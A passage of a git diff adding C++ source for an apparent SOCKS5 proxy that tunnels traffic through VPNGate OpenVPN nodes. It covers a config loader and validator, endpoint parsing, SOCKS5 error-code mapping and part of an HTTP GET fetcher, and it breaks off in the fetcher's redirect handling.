ini.boolean("socks5.udp_associate", s5.udp_associate_enabled, &e); + s5.max_sessions = ini.number("socks5.max_sessions", s5.max_sessions, &e); + s5.handshake_timeout = ini.duration("socks5.handshake_timeout", s5.handshake_timeout, &e); + s5.connect_timeout = ini.duration("socks5.connect_timeout", s5.connect_timeout, &e); + s5.idle_timeout = ini.duration("socks5.idle_timeout", s5.idle_timeout, &e); + s5.udp_idle_timeout = ini.duration("socks5.udp_idle_timeout", s5.udp_idle_timeout, &e); + s5.relay_buffer_size = ini.number("socks5.relay_buffer_size", s5.relay_buffer_size, &e); + s5.io_threads = ini.number("socks5.io_threads", s5.io_threads, &e); + s5.auth_file = ini.str("socks5.auth_file", s5.auth_file); + + for (const auto &[user, pass] : ini.users()) + s5.users.push_back(make_credential(user, pass)); + if (!s5.auth_file.empty() && !load_auth_file(s5.auth_file, &s5.users, err)) + return false; + + // ---- vpngate ------------------------------------------------------------- + auto &vg = c.vpngate; + vg.api_urls = ini.list("vpngate.api_urls", vg.api_urls); + vg.refresh_interval = ini.duration("vpngate.refresh_interval", vg.refresh_interval, &e); + vg.http_timeout = ini.duration("vpngate.http_timeout", vg.http_timeout, &e); + vg.cache_path = ini.str("vpngate.cache_path", vg.cache_path); + vg.cache_max_age = ini.duration("vpngate.cache_max_age", vg.cache_max_age, &e); + vg.max_response_bytes = ini.number("vpngate.max_response_bytes", vg.max_response_bytes, &e); + + // ---- selector ------------------------------------------------------------ + auto &sel = c.selector; + sel.country_allow = ini.list("selector.country_allow", sel.country_allow); + sel.country_deny = ini.list("selector.country_deny", sel.country_deny); + sel.prefer_udp = ini.boolean("selector.prefer_udp", sel.prefer_udp, &e); + sel.probe_candidates = ini.number("selector.probe_candidates", sel.probe_candidates, &e); + sel.probe_samples = ini.number("selector.probe_samples", sel.probe_samples, &e); + sel.probe_timeout = ini.duration("selector.probe_timeout", sel.probe_timeout, &e); + sel.probe_concurrency = ini.number("selector.probe_concurrency", sel.probe_concurrency, &e); + // Scoring weights. Tunable because the right blend depends on what the link + // is for -- a bulk download cares about advertised speed, an interactive + // session cares about RTT and about nothing else. + sel.w_score = ini.number("selector.w_score", sel.w_score, &e); + sel.w_speed = ini.number("selector.w_speed", sel.w_speed, &e); + sel.w_sessions = ini.number("selector.w_sessions", sel.w_sessions, &e); + sel.w_uptime = ini.number("selector.w_uptime", sel.w_uptime, &e); + sel.w_rtt = ini.number("selector.w_rtt", sel.w_rtt, &e); + sel.w_prior = ini.number("selector.w_prior", sel.w_prior, &e); + sel.w_history = ini.number("selector.w_history", sel.w_history, &e); + sel.history_path = ini.str("selector.history_path", sel.history_path); + sel.failure_backoff_initial = ini.duration("selector.failure_backoff_initial", sel.failure_backoff_initial, &e); + sel.failure_backoff_max = ini.duration("selector.failure_backoff_max", sel.failure_backoff_max, &e); + + // ---- switching ----------------------------------------------------------- + auto &sw = c.switching; + const auto mode = to_lower(ini.str("switch.mode", "graceful")); + if (mode == "graceful") sw.mode = SwitchConfig::Mode::Graceful; + else if (mode == "hard") sw.mode = SwitchConfig::Mode::Hard; + else { + if (err) *err = "switch.mode: expected 'graceful' or 'hard'"; + return false; + } + sw.drain_grace = ini.duration("switch.drain_grace", sw.drain_grace, &e); + sw.max_draining = ini.number("switch.max_draining", sw.max_draining, &e); + sw.min_interval = ini.duration("switch.min_interval", sw.min_interval, &e); + sw.improvement_margin = ini.number("switch.improvement_margin", sw.improvement_margin, &e); + sw.backoff_initial = ini.duration("switch.backoff_initial", sw.backoff_initial, &e); + sw.backoff_max = ini.duration("switch.backoff_max", sw.backoff_max, &e); + sw.retry_zero_progress = ini.boolean("switch.retry_zero_progress", sw.retry_zero_progress, &e); + sw.rehome_udp = ini.boolean("switch.rehome_udp", sw.rehome_udp, &e); + sw.opportunistic_interval = + ini.duration("switch.opportunistic_interval", sw.opportunistic_interval, &e); + + // ---- health -------------------------------------------------------------- + auto &h = c.health; + h.interval = ini.duration("health.interval", h.interval, &e); + h.unhealthy_windows = ini.number("health.unhealthy_windows", h.unhealthy_windows, &e); + h.probe_timeout = ini.duration("health.probe_timeout", h.probe_timeout, &e); + h.probe_domain = ini.str("health.probe_domain", h.probe_domain); + h.probe_port = ini.number("health.probe_port", h.probe_port, &e); + h.min_score = ini.number("health.min_score", h.min_score, &e); + h.max_connect_failure_rate = ini.number("health.max_connect_failure_rate", h.max_connect_failure_rate, &e); + h.stall_threshold = ini.duration("health.stall_threshold", h.stall_threshold, &e); + + // ---- ovpn ---------------------------------------------------------------- + auto &o = c.ovpn; + o.allow_legacy_algorithms = ini.boolean("ovpn.allow_legacy_algorithms", o.allow_legacy_algorithms, &e); + o.username = ini.str("ovpn.username", o.username); + o.password = ini.str("ovpn.password", o.password); + o.connect_timeout_s = ini.number("ovpn.connect_timeout", o.connect_timeout_s, &e); + o.compression = ini.boolean("ovpn.compression", o.compression, &e); + o.tunnel_up_timeout_s = ini.number("ovpn.tunnel_up_timeout", o.tunnel_up_timeout_s, &e); + o.packet_socket_buffer = ini.number("ovpn.packet_socket_buffer", o.packet_socket_buffer, &e); + + // ---- dns ----------------------------------------------------------------- + auto &d = c.dns; + d.fallback_servers = ini.list("dns.fallback_servers", d.fallback_servers); + d.timeout = ini.duration("dns.timeout", d.timeout, &e); + d.cache_entries = ini.number("dns.cache_entries", d.cache_entries, &e); + d.min_ttl = ini.duration("dns.min_ttl", d.min_ttl, &e); + d.max_ttl = ini.duration("dns.max_ttl", d.max_ttl, &e); + d.prefer_ipv4 = ini.boolean("dns.prefer_ipv4", d.prefer_ipv4, &e); + + // ---- admin --------------------------------------------------------------- + c.admin.enabled = ini.boolean("admin.enabled", c.admin.enabled, &e); + c.admin.listen_address = ini.str("admin.listen_address", c.admin.listen_address); + c.admin.listen_port = ini.number("admin.listen_port", c.admin.listen_port, &e); + + c.egress_mode = to_lower(ini.str("egress.mode", c.egress_mode)); + + if (!e.empty()) { + if (err) *err = e; + return false; + } + + const auto stray = ini.unread(); + if (!stray.empty()) { + std::string msg = "unknown config key(s): "; + for (size_t i = 0; i < stray.size(); ++i) { + if (i) msg += ", "; + msg += stray[i]; + } + if (err) *err = msg; + return false; + } + + if (!c.validate(err)) return false; + + *out = std::move(c); + return true; +} + +bool Config::validate(std::string *err) const { + auto fail = [&](std::string m) { + if (err) *err = std::move(m); + return false; + }; + + if (socks5.listen_port == 0) return fail("socks5.listen_port must be non-zero"); + if (socks5.max_sessions == 0) return fail("socks5.max_sessions must be non-zero"); + if (socks5.relay_buffer_size < 1024) + return fail("socks5.relay_buffer_size must be at least 1024"); + if (socks5.require_auth && socks5.users.empty()) + return fail("socks5.require_auth is set but no users are configured " + "(use [users] or socks5.auth_file)"); + for (const auto &u : socks5.users) + if (u.hash_hex.empty()) + return fail("credential for user '" + u.username + "' could not be hashed"); + + if (egress_mode != "tunnel" && egress_mode != "direct") + return fail("egress.mode must be 'tunnel' or 'direct'"); + + if (vpngate.api_urls.empty()) return fail("vpngate.api_urls must not be empty"); + if (selector.probe_candidates == 0) + return fail("selector.probe_candidates must be non-zero"); + if (selector.probe_samples == 0) + return fail("selector.probe_samples must be non-zero"); + // Negative weights would invert a term rather than disable it, which is + // almost never what someone editing a config means. Zero is how you turn one + // off. They need not sum to 1: the scorer normalises. + for (const auto &[name, w] : {std::pair{"w_score", selector.w_score}, + {"w_speed", selector.w_speed}, + {"w_sessions", selector.w_sessions}, + {"w_uptime", selector.w_uptime}, + {"w_rtt", selector.w_rtt}, + {"w_prior", selector.w_prior}, + {"w_history", selector.w_history}}) { + if (w < 0.0) + return fail(std::string("selector.") + name + " must be >= 0"); + } + if (switching.max_draining == 0 && switching.mode == SwitchConfig::Mode::Graceful) + return fail("switch.max_draining must be non-zero in graceful mode"); + if (switching.improvement_margin < 0.0) + return fail("switch.improvement_margin must be >= 0"); + if (health.unhealthy_windows < 1) + return fail("health.unhealthy_windows must be >= 1"); + if (dns.fallback_servers.empty()) + return fail("dns.fallback_servers must not be empty"); + // Fallback resolvers must be literals: resolving them would need a resolver. + for (const auto &s : dns.fallback_servers) + if (!IpAddress::parse(s).has_value()) + return fail("dns.fallback_servers must be IP literals, got '" + s + "'"); + + return true; +} + +} // namespace ovg diff --git a/src/common/config.h b/src/common/config.h new file mode 100644 index 0000000..5035da2 --- /dev/null +++ b/src/common/config.h @@ -0,0 +1,196 @@ +// Configuration model and INI-style loader. +// +// Format: +// [section] +// key = value # comment +// list_key = a, b, c +// +// Durations accept a unit suffix: "30s", "5m", "1h", "250ms". Bare numbers are +// seconds. Keeping the format boring is intentional -- config bugs at 3am are +// worse than a missing feature. +#pragma once + +#include +#include +#include +#include +#include + +#include "common/logging.h" + +namespace ovg { + +using Millis = std::chrono::milliseconds; + +struct Credential { + std::string username; + // Stored as sha256(salt || password), hex. Never the plaintext. + std::string salt_hex; + std::string hash_hex; +}; + +struct Socks5Config { + std::string listen_address = "127.0.0.1"; + uint16_t listen_port = 1080; + bool require_auth = true; + // Address handed back in the UDP ASSOCIATE reply. Must be reachable *by the + // client*, which is why it cannot just be the listen address when that is + // 0.0.0.0. Empty means "derive from the control connection's local address". + std::string advertise_address; + bool udp_associate_enabled = true; + size_t max_sessions = 1200; + Millis handshake_timeout{10000}; + Millis connect_timeout{20000}; + Millis idle_timeout{300000}; + Millis udp_idle_timeout{60000}; + size_t relay_buffer_size = 16384; + int io_threads = 0; // 0 = min(hardware_concurrency, 4) + std::string auth_file; + std::vector users; +}; + +struct VpnGateConfig { + std::vector api_urls{ + "http://www.vpngate.net/api/iphone/", + "http://www.vpngate.net/api/iphone/", // retried; mirrors can be added + }; + Millis refresh_interval{1800000}; // 30m + Millis http_timeout{30000}; + std::string cache_path = "var/vpngate_cache.csv"; + Millis cache_max_age{21600000}; // 6h -- stale cache still beats no nodes + size_t max_response_bytes = 32u * 1024 * 1024; +}; + +struct SelectorConfig { + std::vector country_allow; // empty = all + std::vector country_deny; + bool prefer_udp = true; + size_t probe_candidates = 12; + size_t probe_samples = 3; + Millis probe_timeout{3000}; + size_t probe_concurrency = 8; + + // Prior (API-derived) weights. + double w_score = 0.35; + double w_speed = 0.30; + double w_sessions = 0.20; + double w_uptime = 0.15; + + // Final blend. + double w_rtt = 0.45; + double w_prior = 0.30; + double w_history = 0.25; + + std::string history_path = "var/node_history.tsv"; + Millis failure_backoff_initial{60000}; + Millis failure_backoff_max{3600000}; +}; + +struct SwitchConfig { + enum class Mode { + Graceful, // make-before-break with a bounded drain window + Hard, // promote and immediately close every old session + }; + Mode mode = Mode::Graceful; + Millis drain_grace{120000}; + size_t max_draining = 2; + Millis min_interval{60000}; + double improvement_margin = 0.20; // candidate must beat current by this much + Millis backoff_initial{30000}; + Millis backoff_max{480000}; + bool retry_zero_progress = true; // transparently re-home untouched sessions + bool rehome_udp = true; // UDP associations survive a switch + + // How often to go looking for a *better* node while the current one is + // perfectly healthy. Off by default, and deliberately so: a scan probes a + // dozen volunteer-run servers, and switching a healthy tunnel costs every + // session that has moved bytes. Degradation-driven switching (health/) is + // what the requirement actually asks for; this is the optional upgrade path. + Millis opportunistic_interval{0}; // 0 = disabled +}; + +struct HealthConfig { + Millis interval{15000}; + int unhealthy_windows = 3; + Millis probe_timeout{5000}; + // The probe dials this host:port *through the egress* and drops the stream + // as soon as it is up. A TCP handshake is used rather than a bare DNS lookup + // because a lookup can be answered from the resolver cache without a single + // byte crossing the tunnel -- which would report a dead tunnel as healthy. + std::string probe_domain = "www.google.com"; + uint16_t probe_port = 80; + double min_score = 0.40; + double max_connect_failure_rate = 0.50; + Millis stall_threshold{45000}; +}; + +struct OvpnConfig { + bool allow_legacy_algorithms = true; // VPNGate is AES-128-CBC / SHA1 + std::string username = "vpn"; // fallback for nodes that demand it + std::string password = "vpn"; + int connect_timeout_s = 30; + bool compression = true; + int tunnel_up_timeout_s = 45; + // SO_SNDBUF/SO_RCVBUF for the tun socketpair; too small drops IP packets + // under burst (recoverable, but hurts throughput). + int packet_socket_buffer = 2 * 1024 * 1024; +}; + +struct DnsConfig { + std::vector fallback_servers{"1.1.1.1", "8.8.8.8"}; + Millis timeout{5000}; + size_t cache_entries = 4096; + Millis min_ttl{5000}; + Millis max_ttl{3600000}; + bool prefer_ipv4 = true; +}; + +struct AdminConfig { + bool enabled = true; + std::string listen_address = "127.0.0.1"; + uint16_t listen_port = 9080; +}; + +struct LogConfig { + log::Level level = log::Level::Info; + std::string file = "-"; + std::map module_levels; +}; + +struct Config { + Socks5Config socks5; + VpnGateConfig vpngate; + SelectorConfig selector; + SwitchConfig switching; + HealthConfig health; + OvpnConfig ovpn; + DnsConfig dns; + AdminConfig admin; + LogConfig logging; + + // Egress backend. "tunnel" = OpenVPN+lwIP, "direct" = host sockets (testing). + std::string egress_mode = "tunnel"; + + // Loads and validates. Returns false and fills `err` on any problem; a + // partially-applied config is never returned. + static bool load_file(const std::string &path, Config *out, std::string *err); + static bool load_string(const std::string &text, Config *out, + std::string *err); + + bool validate(std::string *err) const; +}; + +// Parses "250ms" / "30s" / "5m" / "2h"; bare numbers are seconds. +bool parse_duration(const std::string &text, Millis *out); + +// Loads "user:password" or "user:sha256$salt$hash" lines. +bool load_auth_file(const std::string &path, std::vector *out, + std::string *err); + +// Builds a credential with a fresh random salt. +Credential make_credential(const std::string &user, const std::string &password); + +// Constant-time verification. +bool verify_credential(const Credential &c, const std::string &password); + +} // namespace ovg diff --git a/src/common/endpoint.cpp b/src/common/endpoint.cpp new file mode 100644 index 0000000..a0390ea --- /dev/null +++ b/src/common/endpoint.cpp @@ -0,0 +1,147 @@ +#include "common/endpoint.h" + +#include + +#include +#include +#include + +namespace ovg { + +std::optional IpAddress::parse(const std::string &text) { + IpAddress out; + uint8_t buf[16]; + if (text.find(':') == std::string::npos) { + if (inet_pton(AF_INET, text.c_str(), buf) == 1) { + std::memcpy(out.bytes_.data(), buf, 4); + out.v4_ = true; + out.valid_ = true; + return out; + } + return std::nullopt; + } + if (inet_pton(AF_INET6, text.c_str(), buf) == 1) { + std::memcpy(out.bytes_.data(), buf, 16); + out.v4_ = false; + out.valid_ = true; + return out; + } + return std::nullopt; +} + +IpAddress IpAddress::from_v4(uint32_t host_order) { + IpAddress a; + a.bytes_[0] = static_cast((host_order >> 24) & 0xff); + a.bytes_[1] = static_cast((host_order >> 16) & 0xff); + a.bytes_[2] = static_cast((host_order >> 8) & 0xff); + a.bytes_[3] = static_cast(host_order & 0xff); + a.v4_ = true; + a.valid_ = true; + return a; +} + +IpAddress IpAddress::from_bytes_v4(const uint8_t bytes[4]) { + IpAddress a; + std::memcpy(a.bytes_.data(), bytes, 4); + a.v4_ = true; + a.valid_ = true; + return a; +} + +IpAddress IpAddress::from_bytes_v6(const uint8_t bytes[16]) { + IpAddress a; + std::memcpy(a.bytes_.data(), bytes, 16); + a.v4_ = false; + a.valid_ = true; + return a; +} + +uint32_t IpAddress::v4_host_order() const { + return (static_cast(bytes_[0]) << 24) | + (static_cast(bytes_[1]) << 16) | + (static_cast(bytes_[2]) << 8) | + static_cast(bytes_[3]); +} + +std::string IpAddress::to_string() const { + if (!valid_) return ""; + char buf[INET6_ADDRSTRLEN] = {}; + if (v4_) { + inet_ntop(AF_INET, bytes_.data(), buf, sizeof(buf)); + } else { + inet_ntop(AF_INET6, bytes_.data(), buf, sizeof(buf)); + } + return buf; +} + +Endpoint::Endpoint(IpAddress addr, uint16_t port) + : kind_(addr.is_v4() ? Kind::Ipv4 : Kind::Ipv6), + addr_(std::move(addr)), + port_(port) {} + +Endpoint::Endpoint(std::string domain, uint16_t port) + : kind_(Kind::Domain), domain_(std::move(domain)), port_(port) {} + +std::optional Endpoint::parse(const std::string &text) { + if (text.empty()) return std::nullopt; + + std::string host; + std::string port_str; + + if (text.front() == '[') { + // Bracketed IPv6 literal: [::1]:80 + const auto close = text.find(']'); + if (close == std::string::npos) return std::nullopt; + host = text.substr(1, close - 1); + if (close + 1 >= text.size() || text[close + 1] != ':') return std::nullopt; + port_str = text.substr(close + 2); + } else { + const auto colon = text.rfind(':'); + if (colon == std::string::npos) return std::nullopt; + // A bare IPv6 literal has several colons and no port; reject it as + // ambiguous rather than silently truncating the address. + if (text.find(':') != colon) return std::nullopt; + host = text.substr(0, colon); + port_str = text.substr(colon + 1); + } + + if (host.empty() || port_str.empty()) return std::nullopt; + + unsigned long port_val = 0; + const char *begin = port_str.data(); + const char *end = begin + port_str.size(); + const auto res = std::from_chars(begin, end, port_val); + if (res.ec != std::errc{} || res.ptr != end || port_val == 0 || + port_val > 65535) + return std::nullopt; + + if (auto ip = IpAddress::parse(host)) + return Endpoint(*ip, static_cast(port_val)); + return Endpoint(std::move(host), static_cast(port_val)); +} + +std::string Endpoint::host_string() const { + return kind_ == Kind::Domain ? domain_ : addr_.to_string(); +} + +std::string Endpoint::to_string() const { + const std::string h = host_string(); + if (kind_ == Kind::Ipv6) return "[" + h + "]:" + std::to_string(port_); + return h + ":" + std::to_string(port_); +} + +size_t EndpointHash::operator()(const Endpoint &e) const noexcept { + size_t h = std::hash{}(e.port()); + h ^= std::hash{}(static_cast(e.kind())) + 0x9e3779b9 + (h << 6) + + (h >> 2); + if (e.is_domain()) { + h ^= std::hash{}(e.domain()) + 0x9e3779b9 + (h << 6) + (h >> 2); + } else { + const auto &b = e.address().bytes(); + for (size_t i = 0; i < e.address().byte_len(); ++i) + h ^= std::hash{}(b[i]) + 0x9e3779b9 + (h << 6) + (h >> 2); + } + return h; +} + +} // namespace ovg diff --git a/src/common/endpoint.h b/src/common/endpoint.h new file mode 100644 index 0000000..9c6d36c --- /dev/null +++ b/src/common/endpoint.h @@ -0,0 +1,87 @@ +// A network destination: either a literal IP or a domain name, plus a port. +// +// SOCKS5 hands us all three ATYP forms, and a domain must stay unresolved until +// it reaches the egress (resolving it locally would leak DNS outside the +// tunnel). So the type deliberately keeps "domain" as a first-class kind rather +// than eagerly converting to an address. +#pragma once + +#include +#include +#include +#include + +namespace ovg { + +// A resolved IPv4 or IPv6 address in binary form. +class IpAddress { + public: + IpAddress() = default; + + static std::optional parse(const std::string &text); + static IpAddress from_v4(uint32_t host_order); + static IpAddress from_bytes_v4(const uint8_t bytes[4]); + static IpAddress from_bytes_v6(const uint8_t bytes[16]); + + bool is_v4() const { return v4_; } + bool is_v6() const { return !v4_ && valid_; } + bool valid() const { return valid_; } + + // Host byte order; only meaningful when is_v4(). + uint32_t v4_host_order() const; + const std::array &bytes() const { return bytes_; } + // Number of significant bytes: 4 for v4, 16 for v6. + size_t byte_len() const { return v4_ ? 4 : 16; } + + std::string to_string() const; + + bool operator==(const IpAddress &o) const { + return valid_ == o.valid_ && v4_ == o.v4_ && bytes_ == o.bytes_; + } + + private: + std::array bytes_{}; + bool v4_ = false; + bool valid_ = false; +}; + +class Endpoint { + public: + enum class Kind { Ipv4, Ipv6, Domain }; + + Endpoint() = default; + Endpoint(IpAddress addr, uint16_t port); + Endpoint(std::string domain, uint16_t port); + + // Accepts "1.2.3.4:80", "[::1]:80", "example.com:443". + static std::optional parse(const std::string &text); + + Kind kind() const { return kind_; } + bool is_domain() const { return kind_ == Kind::Domain; } + const std::string &domain() const { return domain_; } + const IpAddress &address() const { return addr_; } + uint16_t port() const { return port_; } + void set_port(uint16_t p) { port_ = p; } + + // "1.2.3.4:80" / "[::1]:80" / "example.com:443" + std::string to_string() const; + // Host part only, without port. + std::string host_string() const; + + bool operator==(const Endpoint &o) const { + return kind_ == o.kind_ && port_ == o.port_ && domain_ == o.domain_ && + addr_ == o.addr_; + } + + private: + Kind kind_ = Kind::Domain; + IpAddress addr_; + std::string domain_; + uint16_t port_ = 0; +}; + +struct EndpointHash { + size_t operator()(const Endpoint &e) const noexcept; +}; + +} // namespace ovg diff --git a/src/common/error.cpp b/src/common/error.cpp new file mode 100644 index 0000000..1914f66 --- /dev/null +++ b/src/common/error.cpp @@ -0,0 +1,103 @@ +#include "common/error.h" + +#include +#include + +namespace ovg { +namespace { + +class OvgCategory : public std::error_category { + public: + const char *name() const noexcept override { return "ovg"; } + + std::string message(int v) const override { + switch (static_cast(v)) { + case Error::Ok: return "ok"; + case Error::Cancelled: return "cancelled"; + case Error::Timeout: return "timed out"; + case Error::NotConnected: return "egress not connected"; + case Error::EgressGone: return "egress destroyed"; + case Error::EgressDraining: return "egress is draining"; + case Error::ConnectionRefused: return "connection refused"; + case Error::HostUnreachable: return "host unreachable"; + case Error::NetworkUnreachable: return "network unreachable"; + case Error::ResolveFailed: return "name resolution failed"; + case Error::ProtocolError: return "protocol error"; + case Error::AuthFailed: return "authentication failed"; + case Error::NotSupported: return "not supported"; + case Error::ResourceExhausted: return "resource exhausted"; + case Error::TunnelSetupFailed: return "tunnel setup failed"; + case Error::ConfigInvalid: return "invalid configuration"; + case Error::UpstreamFailure: return "upstream failure"; + case Error::Internal: return "internal error"; + } + return "unknown error " + std::to_string(v); + } +}; + +const OvgCategory g_category{}; + +} // namespace + +const std::error_category &error_category() { return g_category; } + +std::error_code make_error_code(Error e) { + return {static_cast(e), g_category}; +} + +uint8_t socks5_reply_for(const std::error_code &ec) { + // RFC 1928 §6 REP values. + constexpr uint8_t kSucceeded = 0x00; + constexpr uint8_t kGeneralFailure = 0x01; + constexpr uint8_t kNetworkUnreachable = 0x03; + constexpr uint8_t kHostUnreachable = 0x04; + constexpr uint8_t kConnectionRefused = 0x05; + constexpr uint8_t kTtlExpired = 0x06; + constexpr uint8_t kCommandNotSupported = 0x07; + + if (!ec) return kSucceeded; + + if (ec.category() == g_category) { + switch (static_cast(ec.value())) { + case Error::Ok: return kSucceeded; + case Error::ConnectionRefused: return kConnectionRefused; + case Error::HostUnreachable: + case Error::ResolveFailed: return kHostUnreachable; + case Error::NetworkUnreachable: + case Error::NotConnected: + case Error::EgressGone: + case Error::EgressDraining: return kNetworkUnreachable; + case Error::Timeout: return kTtlExpired; + case Error::NotSupported: return kCommandNotSupported; + default: return kGeneralFailure; + } + } + + // System errors. The egress layer is supposed to translate these into the + // codes above before a reply is ever built (egress/direct_egress.cpp + // map_ec), so reaching here means something slipped through -- answer as + // precisely as we still can rather than flattening it to 0x01. + if (ec == std::errc::connection_refused) return kConnectionRefused; + if (ec == std::errc::host_unreachable) return kHostUnreachable; + if (ec == std::errc::network_unreachable) return kNetworkUnreachable; + if (ec == std::errc::timed_out) return kTtlExpired; + + // ...and asio's category, which carries errno values but does *not* declare + // itself equivalent to std::errc, so every comparison above is false for it. + // Matching on the value is only meaningful because both errno-based + // categories agree on the numbers on our target (Linux); a category that + // numbers its codes differently falls through to the general failure, which + // is what it would have done anyway. + if (ec.category().name() == std::string("asio.system")) { + switch (ec.value()) { + case ECONNREFUSED: return kConnectionRefused; + case EHOSTUNREACH: return kHostUnreachable; + case ENETUNREACH: return kNetworkUnreachable; + case ETIMEDOUT: return kTtlExpired; + default: break; + } + } + return kGeneralFailure; +} + +} // namespace ovg diff --git a/src/common/error.h b/src/common/error.h new file mode 100644 index 0000000..caf3e7e --- /dev/null +++ b/src/common/error.h @@ -0,0 +1,43 @@ +// Project error codes, exposed as std::error_code so they compose with the +// asio handler signatures used throughout (handler(std::error_code, ...)). +#pragma once + +#include +#include +#include + +namespace ovg { + +enum class Error { + Ok = 0, + Cancelled, + Timeout, + NotConnected, // egress has no usable tunnel + EgressGone, // egress was torn down under us + EgressDraining, // egress refuses new work + ConnectionRefused, + HostUnreachable, + NetworkUnreachable, + ResolveFailed, + ProtocolError, // malformed SOCKS5 / DNS / CSV + AuthFailed, + NotSupported, + ResourceExhausted, // admission control tripped + TunnelSetupFailed, + ConfigInvalid, + UpstreamFailure, // VPNGate API and friends + Internal, +}; + +const std::error_category &error_category(); +std::error_code make_error_code(Error e); + +// Maps our codes onto SOCKS5 REP values (RFC 1928 §6). +uint8_t socks5_reply_for(const std::error_code &ec); + +} // namespace ovg + +namespace std { +template <> +struct is_error_code_enum : true_type {}; +} // namespace std diff --git a/src/common/http_get.cpp b/src/common/http_get.cpp new file mode 100644 index 0000000..8ef3bb5 --- /dev/null +++ b/src/common/http_get.cpp @@ -0,0 +1,407 @@ +#include "common/http_get.h" + +#include + +#include +#include +#include +#include + +#include "common/error.h" +#include "common/logging.h" + +namespace ovg::http { +namespace { + +constexpr const char *kMod = "http"; + +std::string to_lower(std::string s) { + std::transform(s.begin(), s.end(), s.begin(), + [](unsigned char c) { return std::tolower(c); }); + return s; +} + +// Resolves a relative Location header against the request it came from. +std::string resolve_redirect(const Url &base, const std::string &location) { + if (location.rfind("http://", 0) == 0 || location.rfind("https://", 0) == 0) + return location; + std::string out = base.scheme + "://" + base.host; + const bool default_port = (base.scheme == "http" && base.port == "80") || + (base.scheme == "https" && base.port == "443"); + if (!default_port) out += ":" + base.port; + if (location.empty() || location.front() != '/') out += "/"; + out += location; + return out; +} + +// Drives one request/response. Owns itself for the duration via shared_from_this. +class Fetcher : public std::enable_shared_from_this { + public: + Fetcher(asio::io_context &io, Url url, Options opts, int redirects_left, + Handler handler) + : io_(io), + resolver_(io), + timer_(io), + url_(std::move(url)), + opts_(std::move(opts)), + redirects_left_(redirects_left), + handler_(std::move(handler)) {} + + void start() { + timer_.expires_after(opts_.timeout); + timer_.async_wait([self = shared_from_this()](std::error_code ec) { + if (ec) return; // cancelled -- the request already finished + LOG_DEBUG(kMod, "GET {}://{}{} timed out", self->url_.scheme, + self->url_.host, self->url_.target); + self->finish(make_error_code(Error::Timeout), {}); + }); + + auto self = shared_from_this(); + resolver_.async_resolve( + url_.host, url_.port, + [self](std::error_code ec, asio::ip::tcp::resolver::results_type r) { + if (ec) return self->finish(ec, {}); + self->connect(std::move(r)); + }); + } + + private: + void connect(asio::ip::tcp::resolver::results_type endpoints) { + auto self = shared_from_this(); + if (url_.scheme == "https") { + ssl_ctx_ = std::make_unique( + asio::ssl::context::tls_client); + ssl_ctx_->set_options(asio::ssl::context::default_workarounds | + asio::ssl::context::no_sslv2 | + asio::ssl::context::no_sslv3 | + asio::ssl::context::no_tlsv1 | + asio::ssl::context::no_tlsv1_1); + if (opts_.verify_tls) { + ssl_ctx_->set_default_verify_paths(); + ssl_ctx_->set_verify_mode(asio::ssl::verify_peer); + } else { + ssl_ctx_->set_verify_mode(asio::ssl::verify_none); + } + ssl_stream_ = std::make_unique< + asio::ssl::stream>(io_, *ssl_ctx_); + + if (opts_.verify_tls) { + ssl_stream_->set_verify_callback( + asio::ssl::host_name_verification(url_.host)); + // SNI: without it many vhosts serve the wrong certificate. + if (!SSL_set_tlsext_host_name(ssl_stream_->native_handle(), + url_.host.c_str())) { + return finish(make_error_code(Error::UpstreamFailure), {}); + } + } + + asio::async_connect( + ssl_stream_->next_layer(), endpoints, + [self](std::error_code ec, const asio::ip::tcp::endpoint &) { + if (ec) return self->finish(ec, {}); + self->ssl_stream_->async_handshake( + asio::ssl::stream_base::client, [self](std::error_code ec2) { + if (ec2) return self->finish(ec2, {}); + self->send_request(); + }); + }); + } else { + plain_ = std::make_unique(io_); + asio::async_connect( + *plain_, endpoints, + [self](std::error_code ec, const asio::ip::tcp::endpoint &) { + if (ec) return self->finish(ec, {}); + self->send_request(); + }); + } + } + + void send_request() { + request_ = "GET " + url_.target + " HTTP/1.1\r\n"; + request_ += "Host: " + url_.host + "\r\n"; + request_ += "User-Agent: " + opts_.user_agent + "\r\n"; + request_ += "Accept: */*\r\n"; + request_ += "Connection: close\r\n\r\n"; + + auto self = shared_from_this(); + auto on_written = [self](std::error_code ec, size_t) { + if (ec) return self->finish(ec, {}); + self->read_headers(); + }; + if (ssl_stream_) + asio::async_write(*ssl_stream_, asio::buffer(request_), on_written); + else + asio::async_write(*plain_, asio::buffer(request_), on_written); + } + + void read_headers() { + auto self = shared_from_this(); + auto on_read = [self](std::error_code ec, size_t n) { + if (ec) return self->finish(ec, {}); + self->parse_headers(n); + }; + if (ssl_stream_) + asio::async_read_until(*ssl_stream_, buf_, "\r\n\r\n", on_read); + else + asio::async_read_until(*plain_, buf_, "\r\n\r\n", on_read); + } + + void parse_headers(size_t header_len) { + std::string headers( + asio::buffers_begin(buf_.data()), + asio::buffers_begin(buf_.data()) + static_cast(header_len)); + buf_.consume(header_len); + + const auto first_eol = headers.find("\r\n"); + if (first_eol == std::string::npos) + return finish(make_error_code(Error::ProtocolError), {}); + + // "HTTP/1.1 200 OK" + const std::string status_line = headers.substr(0, first_eol); + const auto sp1 = status_line.find(' '); + if (sp1 == std::string::npos) + return finish(make_error_code(Error::ProtocolError), {}); + int status = 0; + { + const char *b = status_line.data() + sp1 + 1; + const char *e = status_line.data() + status_line.size(); + std::from_chars(b, std::min(b + 3, e), status); + } + resp_.status = status; + + size_t pos = first_eol + 2; + std::string location; + while (pos < headers.size()) { + const auto eol = headers.find("\r\n", pos); + if (eol == std::string::npos || eol == pos) break; + const std::string line = headers.substr(pos, eol - pos); + pos = eol + 2; + const auto colon = line.find(':'); + if (colon == std::string::npos) continue; + const std::string name = to_lower(line.substr(0, colon)); + std::string value = line.substr(colon + 1); + while (!value.empty() && std::isspace(static_cast(value.front()))) + value.erase(value.begin()); + + if (name == "content-length") { + size_t v = 0; + const auto r = std::from_chars(value.data(), value.data() + value.size(), v); + if (r.ec == std::errc{}) { + content_length_ = v; + have_content_length_ = true; + } + } else if (name == "transfer-encoding") { + if (to_lower(value).find("chunked") != std::string::npos) chunked_ = true; + } else if (name == "location") { + location = value; + } + } + + if (status >= 300 && status < 400 && !location.empty()) { + if (redirects_left_ <= 0) + return finish(make_error_code(Error::UpstreamFailure), {}); + const std::string next = resolve_redirect(url_, location); + LOG_DEBUG(kMod, "redirect {} -> {}", resp_.status, next); + Url u; + if (!parse_url(next, &u)) + return finish(make_error_code(Error::UpstreamFailure), {}); + timer_.cancel(); + auto follow = std::make_shared(io_, std::move(u), opts_, + 